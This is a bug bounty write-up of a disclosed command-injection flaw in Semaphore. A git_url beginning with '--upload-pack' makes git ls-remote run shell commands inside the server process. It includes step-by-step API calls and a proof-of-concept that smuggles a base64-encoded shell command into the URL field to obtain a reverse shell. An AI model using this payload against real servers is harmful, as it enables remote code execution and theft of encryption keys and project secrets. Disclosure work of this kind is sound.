# Semaphore U: OS Command Injection

Semaphore passes attacker-controlled git_url to git ls-remote without -- separator, letting a project Manager inject --upload-pack and run commands on the server host.

- Payout: Research
- Severity: critical
- Program: Semaphore
- Found by: faran1512
- Disclosed: 2026-09-08
- CVE: CVE-2026-73294
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xp7j-h7jc-4w8p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xp7j-h7jc-4w8p
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:command-injection vuln:rce

**Target:** git ls-remote invocation in schedule commit-hash poller (cmd_git client)
**Root cause:** Repository git_url is stored verbatim and passed as an argv element to exec.Command("git", "ls-remote", url, branch) with no -- separator and no option-injection validation (branch is validated, URL is not). git parses --upload-pack=<cmd> as an option and executes it via sh -c.
**Steps:**
1. Authenticate as a user with Manager/Owner role on a project (or self-create project if non_admin_can_create_project).
2. POST /api/project/{id}/keys with type none to get ssh_key_id.
3. POST /api/project/{id}/repositories with `git_url` = `--upload-pack=bash -c "echo <b64> | base64 -d | bash";true`, git_branch master.
4. POST /api/project/{id}/templates referencing the repository_id.
5. POST /api/project/{id}/schedules with repository_id and cron_format `* * * * *`.
6. Wait for scheduler tick; server process runs git ls-remote and executes the upload-pack command, connecting back to listener.
**How found:** Noted branch was validated against leading '-' but git_url was not, and that the git argv lacked a -- separator; recognized --upload-pack as a git option that shells out, and traced the schedule poller as an in-process trigger reachable by project collaborators.
**Exploitation:** Manager creates a repository with a malicious git_url and a schedule bound to it; the in-process schedule pool calls GetLastRemoteCommitHash, git executes the --upload-pack value through a shell, yielding a reverse shell as the Semaphore server user with access to the master encryption key and all project secrets.
**Escalation:** Runs inside the main server process rather than a job runner, bypassing remote-runner isolation; deactivating the schedule does not stop it since Refresh registers inactive schedules.
**Insight:** When a tool validates one user-controlled field for option injection (branch) but not its sibling (URL), check the sibling; and look for git plumbing options like --upload-pack/--receive-pack that execute via shell when placed before the repo operand.

## Proof of concept (copied exactly from the original report)

**Malicious git_url with --upload-pack payload**

```
CMD="$*"; B64=$(printf '%s' "$CMD" | base64 -w0)
  GITURL="--upload-pack=bash -c \"echo $B64 | base64 -d | bash\";true"
```

**Repository creation POST with injected git_url**

```
BODY=$(python3 -c "import json,sys;print(json.dumps({'name':'r','project_id':$PROJ_PID,'git_url':sys.argv[1],'git_branch':'master','ssh_key_id':$KID}))" "$GITURL")
  RID=$(post /api/project/$PROJ_PID/repositories "$BODY" | jid)
```

